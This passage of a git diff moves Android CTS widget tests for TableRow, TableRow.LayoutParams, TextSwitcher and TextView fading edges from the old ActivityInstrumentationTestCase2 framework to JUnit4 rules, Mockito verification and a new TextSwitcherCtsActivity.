-        tableRow.removeViewAt(0);
-        assertFalse(listener.hasCalledOnChildViewRemoved());
+        new TableRow(mActivity, null);
     }
 
     @UiThreadTest
+    @Test
+    public void testSetOnHierarchyChangeListener() {
+        TableRow tableRow = new TableRow(mActivity);
+
+        ViewGroup.OnHierarchyChangeListener mockHierarchyChangeListener =
+                mock(ViewGroup.OnHierarchyChangeListener.class);
+        tableRow.setOnHierarchyChangeListener(mockHierarchyChangeListener);
+
+        View toAdd = new TextView(mActivity);
+        tableRow.addView(toAdd);
+        verify(mockHierarchyChangeListener, times(1)).onChildViewAdded(tableRow, toAdd);
+        tableRow.removeViewAt(0);
+        verify(mockHierarchyChangeListener, times(1)).onChildViewRemoved(tableRow, toAdd);
+        verifyNoMoreInteractions(mockHierarchyChangeListener);
+
+        tableRow.setOnHierarchyChangeListener(null);
+        tableRow.addView(new TextView(mActivity));
+        tableRow.removeViewAt(0);
+        verifyNoMoreInteractions(mockHierarchyChangeListener);
+    }
+
+    @UiThreadTest
+    @Test
     public void testGetVirtualChildAt() {
-        TableCtsActivity activity = getActivity();
-        activity.setContentView(android.widget.cts.R.layout.table_layout_1);
-        TableLayout tableLayout = (TableLayout) activity
+        mActivity.setContentView(android.widget.cts.R.layout.table_layout_1);
+        TableLayout tableLayout = (TableLayout) mActivity
                 .findViewById(android.widget.cts.R.id.table1);
 
         TableRow tableRow = (TableRow) tableLayout.getChildAt(0);
-        Resources resources = activity.getResources();
+        Resources resources = mActivity.getResources();
         assertEquals(resources.getString(R.string.table_layout_first),
                 ((TextView) tableRow.getVirtualChildAt(0)).getText().toString());
         assertEquals(resources.getString(R.string.table_layout_second),
@@ -96,8 +112,8 @@
         assertEquals(resources.getString(R.string.table_layout_third),
                 ((TextView) tableRow.getVirtualChildAt(2)).getText().toString());
 
-        activity.setContentView(android.widget.cts.R.layout.table_layout_2);
-        tableLayout = (TableLayout) activity.findViewById(android.widget.cts.R.id.table2);
+        mActivity.setContentView(android.widget.cts.R.layout.table_layout_2);
+        tableLayout = (TableLayout) mActivity.findViewById(android.widget.cts.R.id.table2);
 
         tableRow = (TableRow) tableLayout.getChildAt(0);
         assertNull(tableRow.getVirtualChildAt(0));
@@ -112,26 +128,27 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetVirtualChildCount() {
-        TableCtsActivity activity = getActivity();
-        activity.setContentView(android.widget.cts.R.layout.table_layout_1);
-        TableLayout tableLayout = (TableLayout) activity
+        mActivity.setContentView(android.widget.cts.R.layout.table_layout_1);
+        TableLayout tableLayout = (TableLayout) mActivity
                 .findViewById(android.widget.cts.R.id.table1);
 
         TableRow tableRow = (TableRow) tableLayout.getChildAt(0);
         assertEquals(3, tableRow.getVirtualChildCount());
 
-        activity.setContentView(android.widget.cts.R.layout.table_layout_2);
-        tableLayout = (TableLayout) activity.findViewById(android.widget.cts.R.id.table2);
+        mActivity.setContentView(android.widget.cts.R.layout.table_layout_2);
+        tableLayout = (TableLayout) mActivity.findViewById(android.widget.cts.R.id.table2);
 
         tableRow = (TableRow) tableLayout.getChildAt(0);
         assertEquals(5, tableRow.getVirtualChildCount());
     }
 
-    public void testGenerateLayoutParams() {
-        TableRow tableRow = new TableRow(mContext);
+    @Test
+    public void testGenerateLayoutParamsFromAttributeSet() {
+        TableRow tableRow = new TableRow(mActivity);
 
-        Resources resources = mTargetContext.getResources();
+        Resources resources = mActivity.getResources();
         XmlResourceParser parser = resources.getLayout(R.layout.table_layout_1);
         AttributeSet attr = Xml.asAttributeSet(parser);
 
@@ -140,8 +157,9 @@
         assertNotNull(tableRow.generateLayoutParams((AttributeSet) null));
     }
 
+    @Test
     public void testCheckLayoutParams() {
-        MockTableRow mockTableRow = new MockTableRow(mContext);
+        MockTableRow mockTableRow = new MockTableRow(mActivity);
 
         assertTrue(mockTableRow.checkLayoutParams(new TableRow.LayoutParams(200, 300)));
 
@@ -152,16 +170,18 @@
         assertFalse(mockTableRow.checkLayoutParams(null));
     }
 
+    @Test
     public void testGenerateDefaultLayoutParams() {
-        MockTableRow mockTableRow = new MockTableRow(mContext);
+        MockTableRow mockTableRow = new MockTableRow(mActivity);
 
         LinearLayout.LayoutParams layoutParams = mockTableRow.generateDefaultLayoutParams();
         assertNotNull(layoutParams);
         assertTrue(layoutParams instanceof TableRow.LayoutParams);
     }
 
-    public void testGenerateLayoutParams2() {
-        MockTableRow mockTableRow = new MockTableRow(mContext);
+    @Test
+    public void testGenerateLayoutParamsFromLayoutParams() {
+        MockTableRow mockTableRow = new MockTableRow(mActivity);
 
         LinearLayout.LayoutParams layoutParams = mockTableRow.generateLayoutParams(
                 new ViewGroup.LayoutParams(200, 300));
@@ -169,66 +189,29 @@
         assertEquals(200, layoutParams.width);
         assertEquals(300, layoutParams.height);
         assertTrue(layoutParams instanceof TableRow.LayoutParams);
-
-        try {
-            layoutParams = mockTableRow.generateLayoutParams((ViewGroup.LayoutParams) null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGenerateLayoutParamsFromLayoutParamsNull() {
+        MockTableRow mockTableRow = new MockTableRow(mActivity);
+
+        mockTableRow.generateLayoutParams((ViewGroup.LayoutParams) null);
+    }
+
+    @Test
     public void testOnLayout() {
-        MockTableRow mockTableRow = new MockTableRow(mContext);
+        MockTableRow mockTableRow = new MockTableRow(mActivity);
 
         mockTableRow.onLayout(false, 0, 0, 200, 300);
     }
 
+    @Test
     public void testOnMeasure() {
-        MockTableRow mockTableRow = new MockTableRow(mContext);
+        MockTableRow mockTableRow = new MockTableRow(mActivity);
 
         mockTableRow.onMeasure(MeasureSpec.EXACTLY, MeasureSpec.EXACTLY);
     }
 
-    private class MockOnHierarchyChangeListener implements OnHierarchyChangeListener {
-        private boolean mCalledOnChildViewAdded = false;
-        private boolean mCalledOnChildViewRemoved = false;
-
-        /*
-         * (non-Javadoc)
-         *
-         * @see
-         * android.view.ViewGroup.OnHierarchyChangeListener#onChildViewAdded
-         * (View, View)
-         */
-        public void onChildViewAdded(View parent, View child) {
-            mCalledOnChildViewAdded = true;
-        }
-
-        /*
-         * (non-Javadoc)
-         *
-         * @see
-         * android.view.ViewGroup.OnHierarchyChangeListener#onChildViewRemoved
-         * (View, View)
-         */
-        public void onChildViewRemoved(View parent, View child) {
-            mCalledOnChildViewRemoved = true;
-        }
-
-        public boolean hasCalledOnChildViewAdded() {
-            return mCalledOnChildViewAdded;
-        }
-
-        public boolean hasCalledOnChildViewRemoved() {
-            return mCalledOnChildViewRemoved;
-        }
-
-        public void reset() {
-            mCalledOnChildViewAdded = false;
-            mCalledOnChildViewRemoved = false;
-        }
-    }
-
     /*
      * Mock class for TableRow to test protected methods
      */
diff --git a/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
index ce3be70..453b0c1 100644
--- a/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
@@ -16,15 +16,16 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
-import org.xmlpull.v1.XmlPullParser;
-
-import android.content.Context;
+import android.app.Activity;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -34,26 +35,33 @@
 import android.widget.TableRow;
 import android.widget.cts.util.XmlUtils;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 /**
  * Test {@link TableRow.LayoutParams}.
  */
-public class TableRow_LayoutParamsTest
-        extends ActivityInstrumentationTestCase2<TableCtsActivity> {
-    Context mTargetContext;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TableRow_LayoutParamsTest {
+    private Activity mActivity;
 
-    public TableRow_LayoutParamsTest() {
-        super("android.widget.cts", TableCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<TableCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TableCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTargetContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
-        new TableRow.LayoutParams(mTargetContext, null);
+        new TableRow.LayoutParams(mActivity, null);
 
         TableRow.LayoutParams layoutParams = new TableRow.LayoutParams(200, 300);
         assertEquals(200, layoutParams.width);
@@ -65,7 +73,7 @@
         layoutParams = new TableRow.LayoutParams(200, 300, 1.2f);
         assertEquals(200, layoutParams.width);
         assertEquals(300, layoutParams.height);
-        assertEquals(1.2f, layoutParams.weight);
+        assertEquals(1.2f, layoutParams.weight, 0.0f);
         assertEquals(-1, layoutParams.column);
         assertEquals(1, layoutParams.span);
         MarginLayoutParams oldMarginParams = layoutParams;
@@ -90,17 +98,15 @@
         assertEquals(0, layoutParams.column);
         assertEquals(0, layoutParams.span);
 
-        TableCtsActivity activity = getActivity();
-        activity.setContentView(R.layout.table_layout_2);
+        mActivity.setContentView(R.layout.table_layout_2);
         int idTable = R.id.table2;
-        TableLayout tableLayout = (TableLayout) activity.findViewById(idTable);
-        View vVitural1 = ((TableRow) tableLayout.getChildAt(0)).getVirtualChildAt(1);
-        layoutParams = (TableRow.LayoutParams) vVitural1.getLayoutParams();
+        TableLayout tableLayout = (TableLayout) mActivity.findViewById(idTable);
+        View vVirtual1 = ((TableRow) tableLayout.getChildAt(0)).getVirtualChildAt(1);
+        layoutParams = (TableRow.LayoutParams) vVirtual1.getLayoutParams();
         assertEquals(1, layoutParams.column);
-        View vVitural2 = ((TableRow) tableLayout.getChildAt(0)).getVirtualChildAt(2);
-        layoutParams = (TableRow.LayoutParams) vVitural2.getLayoutParams();
+        View vVirtual2 = ((TableRow) tableLayout.getChildAt(0)).getVirtualChildAt(2);
+        layoutParams = (TableRow.LayoutParams) vVirtual2.getLayoutParams();
         assertEquals(2, layoutParams.span);
-
     }
 
     /**
@@ -109,6 +115,7 @@
      * setBaseAttributes(android.content.res.TypedArray, int, int)}
      * .
      */
+    @Test
     public void testSetBaseAttributes() {
         MockTableRow_LayoutParams mockLayoutParams = new MockTableRow_LayoutParams(200, 300);
         assertEquals(200, mockLayoutParams.width);
@@ -116,7 +123,7 @@
 
         // base_attr_pixel: layout_width = 400px, layout_height = 600px
         AttributeSet attrs = getAttrs("base_attr_pixel");
-        TypedArray a = mTargetContext.obtainStyledAttributes(attrs,
+        TypedArray a = mActivity.obtainStyledAttributes(attrs,
                 android.R.styleable.ViewGroup_Layout);
 
         mockLayoutParams.setBaseAttributes(a, android.R.styleable.ViewGroup_Layout_layout_width,
@@ -132,7 +139,7 @@
         a.recycle();
         // base_attr_fillwrap: layout_width = "match_parent", layout_height = "wrap_content"
         attrs = getAttrs("base_attr_fillwrap");
-        a = mTargetContext.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
+        a = mActivity.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
 
         mockLayoutParams.setBaseAttributes(a, android.R.styleable.ViewGroup_Layout_layout_width,
                 android.R.styleable.ViewGroup_Layout_layout_height);
@@ -147,7 +154,7 @@
         a.recycle();
         // base_attr_noheight: layout_width = 600px, no layout_height.
         attrs = getAttrs("base_attr_noheight");
-        a = mTargetContext.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
+        a = mActivity.obtainStyledAttributes(attrs, android.R.styleable.ViewGroup_Layout);
 
         mockLayoutParams.setBaseAttributes(a, android.R.styleable.ViewGroup_Layout_layout_width,
                 android.R.styleable.ViewGroup_Layout_layout_height);
@@ -186,7 +193,7 @@
         XmlResourceParser parser = null;
         AttributeSet attrs = null;
         try {
-            parser = mTargetContext.getResources().getXml(R.xml.base_attributes);
+            parser = mActivity.getResources().getXml(R.xml.base_attributes);
 
             int type;
             while ((type = parser.next()) != XmlPullParser.END_DOCUMENT
diff --git a/tests/tests/widget/src/android/widget/cts/TextSwitcherCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TextSwitcherCtsActivity.java
new file mode 100644
index 0000000..ef7fc1d
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/TextSwitcherCtsActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class TextSwitcherCtsActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.textswitcher_layout);
+    }
+}
+
diff --git a/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
index 7812807..fb99cc7 100644
--- a/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
@@ -16,20 +16,31 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
 
-import android.content.Context;
-import android.test.InstrumentationTestCase;
+import android.app.Activity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 import android.widget.ListView;
 import android.widget.TextSwitcher;
 import android.widget.TextView;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link TextSwitcher}.
  */
-public class TextSwitcherTest extends InstrumentationTestCase {
-    private Context mContext;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TextSwitcherTest {
     /**
      * test width to be used in addView() method.
      */
@@ -39,157 +50,165 @@
      */
     private static final int PARAMS_HEIGHT = 300;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
+    private Activity mActivity;
+    private TextSwitcher mTextSwitcher;
+
+    @Rule
+    public ActivityTestRule<TextSwitcherCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TextSwitcherCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mTextSwitcher = (TextSwitcher) mActivity.findViewById(R.id.switcher);
     }
 
+    @Test
     public void testConstructor() {
-        new TextSwitcher(mContext);
+        new TextSwitcher(mActivity);
 
-        new TextSwitcher(mContext, null);
+        new TextSwitcher(mActivity, null);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetText() {
         final String viewText1 = "Text 1";
         final String viewText2 = "Text 2";
         final String changedText = "Changed";
 
-        TextSwitcher textSwitcher = new TextSwitcher(mContext);
-
-        TextView tv1 = new TextView(mContext);
-        TextView tv2 = new TextView(mContext);
+        TextView tv1 = new TextView(mActivity);
+        TextView tv2 = new TextView(mActivity);
         tv1.setText(viewText1);
         tv2.setText(viewText2);
-        textSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
-        textSwitcher.addView(tv2, 1, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+        mTextSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+        mTextSwitcher.addView(tv2, 1, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
 
-        TextView tvChild1 = (TextView) textSwitcher.getChildAt(0);
-        TextView tvChild2 = (TextView) textSwitcher.getChildAt(1);
+        TextView tvChild1 = (TextView) mTextSwitcher.getChildAt(0);
+        TextView tvChild2 = (TextView) mTextSwitcher.getChildAt(1);
         assertEquals(viewText1, (tvChild1.getText().toString()));
         assertEquals(viewText2, (tvChild2.getText().toString()));
-        assertSame(tv1, textSwitcher.getCurrentView());
+        assertSame(tv1, mTextSwitcher.getCurrentView());
 
         // tvChild2's text is changed
-        textSwitcher.setText(changedText);
+        mTextSwitcher.setText(changedText);
         assertEquals(viewText1, (tvChild1.getText().toString()));
         assertEquals(changedText, (tvChild2.getText().toString()));
-        assertSame(tv2, textSwitcher.getCurrentView());
+        assertSame(tv2, mTextSwitcher.getCurrentView());
 
         // tvChild1's text is changed
-        textSwitcher.setText(changedText);
+        mTextSwitcher.setText(changedText);
         assertEquals(changedText, (tvChild1.getText().toString()));
         assertEquals(changedText, (tvChild2.getText().toString()));
-        assertSame(tv1, textSwitcher.getCurrentView());
+        assertSame(tv1, mTextSwitcher.getCurrentView());
 
         // tvChild2's text is changed
-        textSwitcher.setText(null);
+        mTextSwitcher.setText(null);
         assertEquals(changedText, (tvChild1.getText().toString()));
         assertEquals("", (tvChild2.getText().toString()));
-        assertSame(tv2, textSwitcher.getCurrentView());
+        assertSame(tv2, mTextSwitcher.getCurrentView());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetCurrentText() {
         final String viewText1 = "Text 1";
         final String viewText2 = "Text 2";
         final String changedText1 = "Changed 1";
         final String changedText2 = "Changed 2";
 
-        TextSwitcher textSwitcher = new TextSwitcher(mContext);
-
-        TextView tv1 = new TextView(mContext);
-        TextView tv2 = new TextView(mContext);
+        TextView tv1 = new TextView(mActivity);
+        TextView tv2 = new TextView(mActivity);
         tv1.setText(viewText1);
         tv2.setText(viewText2);
-        textSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
-        textSwitcher.addView(tv2, 1, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+        mTextSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+        mTextSwitcher.addView(tv2, 1, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
 
-        TextView tvChild1 = (TextView) textSwitcher.getChildAt(0);
-        TextView tvChild2 = (TextView) textSwitcher.getChildAt(1);
+        TextView tvChild1 = (TextView) mTextSwitcher.getChildAt(0);
+        TextView tvChild2 = (TextView) mTextSwitcher.getChildAt(1);
         assertEquals(viewText1, (tvChild1.getText().toString()));
         assertEquals(viewText2, (tvChild2.getText().toString()));
-        assertSame(tv1, textSwitcher.getCurrentView());
+        assertSame(tv1, mTextSwitcher.getCurrentView());
 
         // tvChild1's text is changed
-        textSwitcher.setCurrentText(changedText1);
+        mTextSwitcher.setCurrentText(changedText1);
         assertEquals(changedText1, (tvChild1.getText().toString()));
         assertEquals(viewText2, (tvChild2.getText().toString()));
-        assertSame(tv1, textSwitcher.getCurrentView());
+        assertSame(tv1, mTextSwitcher.getCurrentView());
 
         // tvChild1's text is changed
-        textSwitcher.setCurrentText(changedText2);
+        mTextSwitcher.setCurrentText(changedText2);
         assertEquals(changedText2, (tvChild1.getText().toString()));
         assertEquals(viewText2, (tvChild2.getText().toString()));
-        assertSame(tv1, textSwitcher.getCurrentView());
+        assertSame(tv1, mTextSwitcher.getCurrentView());
 
         // tvChild1's text is changed
-        textSwitcher.setCurrentText(null);
+        mTextSwitcher.setCurrentText(null);
         assertEquals("", (tvChild1.getText().toString()));
         assertEquals(viewText2, (tvChild2.getText().toString()));
-        assertSame(tv1, textSwitcher.getCurrentView());
+        assertSame(tv1, mTextSwitcher.getCurrentView());
     }
 
+    @UiThreadTest
+    @Test
     public void testAddView() {
-        TextSwitcher textSwitcher = new TextSwitcher(mContext);
+        TextView tv1 = new TextView(mActivity);
+        TextView tv2 = new TextView(mActivity);
 
-        TextView tv1 = new TextView(mContext);
-        TextView tv2 = new TextView(mContext);
-
-        textSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
-        assertSame(tv1, textSwitcher.getChildAt(0));
-        assertEquals(1, textSwitcher.getChildCount());
+        mTextSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+        assertSame(tv1, mTextSwitcher.getChildAt(0));
+        assertEquals(1, mTextSwitcher.getChildCount());
 
         try {
             // tv1 already has a parent
-            textSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+            mTextSwitcher.addView(tv1, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
             fail("Should throw IllegalStateException");
         } catch (IllegalStateException e) {
             // expected
         }
 
         try {
-            textSwitcher.addView(tv2, Integer.MAX_VALUE,
+            mTextSwitcher.addView(tv2, Integer.MAX_VALUE,
                     new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
             fail("Should throw IndexOutOfBoundsException");
         } catch (IndexOutOfBoundsException e) {
             // expected
         }
 
-        textSwitcher.addView(tv2, 1,
+        mTextSwitcher.addView(tv2, 1,
                 new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
-        assertSame(tv2, textSwitcher.getChildAt(1));
-        assertEquals(2, textSwitcher.getChildCount());
+        assertSame(tv2, mTextSwitcher.getChildAt(1));
+        assertEquals(2, mTextSwitcher.getChildCount());
 
-        TextView tv3 = new TextView(mContext);
+        TextView tv3 = new TextView(mActivity);
 
         try {
-            // textSwitcher already has 2 children.
-            textSwitcher.addView(tv3, 2, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+            // mTextSwitcher already has 2 children.
+            mTextSwitcher.addView(tv3, 2, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
             fail("Should throw IllegalStateException");
         } catch (IllegalStateException e) {
             // expected
         }
 
-        textSwitcher = new TextSwitcher(mContext);
-        ListView lv = new ListView(mContext);
+        mTextSwitcher = new TextSwitcher(mActivity);
+        ListView lv = new ListView(mActivity);
 
         try {
-            textSwitcher.addView(lv, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+            mTextSwitcher.addView(lv, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
             fail("Should throw IllegalArgumentException");
         } catch (IllegalArgumentException e) {
             // expected
         }
 
         try {
-            textSwitcher.addView(null, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
+            mTextSwitcher.addView(null, 0, new ViewGroup.LayoutParams(PARAMS_WIDTH, PARAMS_HEIGHT));
             fail("Should throw IllegalArgumentException");
         } catch (IllegalArgumentException e) {
             // expected
         }
 
         try {
-            textSwitcher.addView(tv3, 0, null);
+            mTextSwitcher.addView(tv3, 0, null);
             fail("Should throw NullPointerException");
         } catch (NullPointerException e) {
             // expected
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TextViewCtsActivity.java
index 31fc486..0580150 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewCtsActivity.java
@@ -16,17 +16,16 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.TextView;
 
 /**
- * A minimal application for TextView test.
+ * A minimal application for {@link TextView} test.
  */
 public class TextViewCtsActivity extends Activity {
     /**
-     * Called with the activity is first created.
+     * Called when the activity is first created.
      */
     @Override
     public void onCreate(Bundle savedInstanceState) {
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java b/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
index 4d976eb..f001b46 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
@@ -16,23 +16,43 @@
 
 package android.widget.cts;
 
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.TypedValue;
-import android.view.ViewGroup;
-import android.widget.FrameLayout;
-
 import static android.view.Gravity.CENTER;
 import static android.view.Gravity.LEFT;
 import static android.view.Gravity.NO_GRAVITY;
 import static android.view.Gravity.RIGHT;
 import static android.view.View.TEXT_ALIGNMENT_INHERIT;
-import static android.widget.TextView.TEXT_ALIGNMENT_TEXT_START;
 import static android.widget.TextView.TEXT_ALIGNMENT_TEXT_END;
-import static android.widget.TextView.TEXT_ALIGNMENT_VIEW_START;
+import static android.widget.TextView.TEXT_ALIGNMENT_TEXT_START;
 import static android.widget.TextView.TEXT_ALIGNMENT_VIEW_END;
+import static android.widget.TextView.TEXT_ALIGNMENT_VIEW_START;
 
-public class TextViewFadingEdgeTest extends ActivityInstrumentationTestCase2<EmptyCtsActivity> {
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.TypedValue;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TextViewFadingEdgeTest {
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<EmptyCtsActivity> mActivityRule =
+            new ActivityTestRule<>(EmptyCtsActivity.class);
 
     public static final float DELTA = 0.01f;
     private static final String LONG_RTL_STRING = "مرحبا الروبوت مرحبا الروبوت مرحبا الروبوت";
@@ -116,22 +136,14 @@
                     LONG_RTL_STRING, true, NO_GRAVITY, TEXT_ALIGNMENT_INHERIT, true, 1f, 1f)
     };
 
-    public TextViewFadingEdgeTest() {
-        super("android.widget.cts", EmptyCtsActivity.class);
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return getActivity().hasWindowFocus();
-            }
-        }.run();
-    }
-
-    public void testFadingEdge() {
+    @Test
+    public void testFadingEdge() throws Throwable {
         for (TestCase data : TEST_DATA) {
             MockTextView textView = createTextView(data.text, data.horizontalFadingEnabled,
                     data.gravity, data.textAlignment, data.scrollToMiddle);
@@ -144,8 +156,8 @@
     }
 
     private final MockTextView createTextView(String text, boolean horizontalFadingEnabled,
-            int gravity, int textAlignment, boolean scrollToMiddle) {
-        final MockTextView textView = new MockTextView(getActivity());
+            int gravity, int textAlignment, boolean scrollToMiddle) throws Throwable {
+        final MockTextView textView = new MockTextView(mActivity);
         textView.setSingleLine(true);
         textView.setTextSize(TypedValue.COMPLEX_UNIT_PX, TEXT_SIZE);
         textView.setPadding(ANY_PADDING, ANY_PADDING, ANY_PADDING, ANY_PADDING);
@@ -157,32 +169,24 @@
         textView.setGravity(gravity);
         textView.setTextAlignment(textAlignment);
 
-        final FrameLayout layout = new FrameLayout(getActivity());
+        final FrameLayout layout = new FrameLayout(mActivity);
         ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
                 ViewGroup.LayoutParams.MATCH_PARENT);
         layout.setLayoutParams(layoutParams);
         layout.addView(textView);
 
-        getActivity().runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getActivity().setContentView(layout);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        if(scrollToMiddle) {
-            getActivity().runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    float lineMid = (textView.getLayout().getLineLeft(0) +
-                            textView.getLayout().getLineRight(0)) / 2;
-                    int scrollPosition = (int) lineMid;
-                    textView.setScrollX(scrollPosition);
-                }
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        if (scrollToMiddle) {
+            mActivityRule.runOnUiThread(() -> {
+                float lineMid = (textView.getLayout().getLineLeft(0) +
+                        textView.getLayout().getLineRight(0)) / 2;
+                int scrollPosition = (int) lineMid;
+                textView.setScrollX(scrollPosition);
             });
         }
-        getInstrumentation().waitForIdleSync();
+        instrumentation.waitForIdleSync();
         return textView;
     }
 
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index fea0a55..4e71fdd 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -16,20 +16,50 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
